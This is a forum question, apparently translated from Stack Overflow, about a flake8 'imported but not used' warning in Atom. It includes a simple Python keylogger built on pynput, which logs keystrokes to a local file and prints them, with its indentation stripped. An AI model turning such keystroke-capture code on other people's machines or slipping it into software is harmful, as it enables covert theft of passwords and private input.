“ pynput”导入有问题。昨天工作正常。今天打开了Atom,现在出现一个错误,提示"F401 - 'pynput' imported but not used"
。我四处查看Google和stackoverflow,但发现的任何内容都没有解决我的问题。
这是我的代码:
# Python keylogger program
import pynput
from pynput.keyboard import Key, Listener
count = 0 # Keeps count of user keystrokes
keys = [] # Place to store key strokes
# Records user keystrokes
def on_press(key):
global keys, count
keys.append(key)
count += 1
print("{0} pressed".format(key))
if count >= 5:
count = 0
write_file(keys)
keys = []
# Writes program to file
def write_file(keys):
with open("keyLOg.txt", "a") as f:
for key in keys:
k = str(key).replace("'", "")
if k.find("space") > 0:
f.write('\n')
elif k.find("Key") == -1:
f.write(k)
# Ends program when user presses escape
def on_release(key):
if key == Key.esc:
return False
# Collects events until released
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()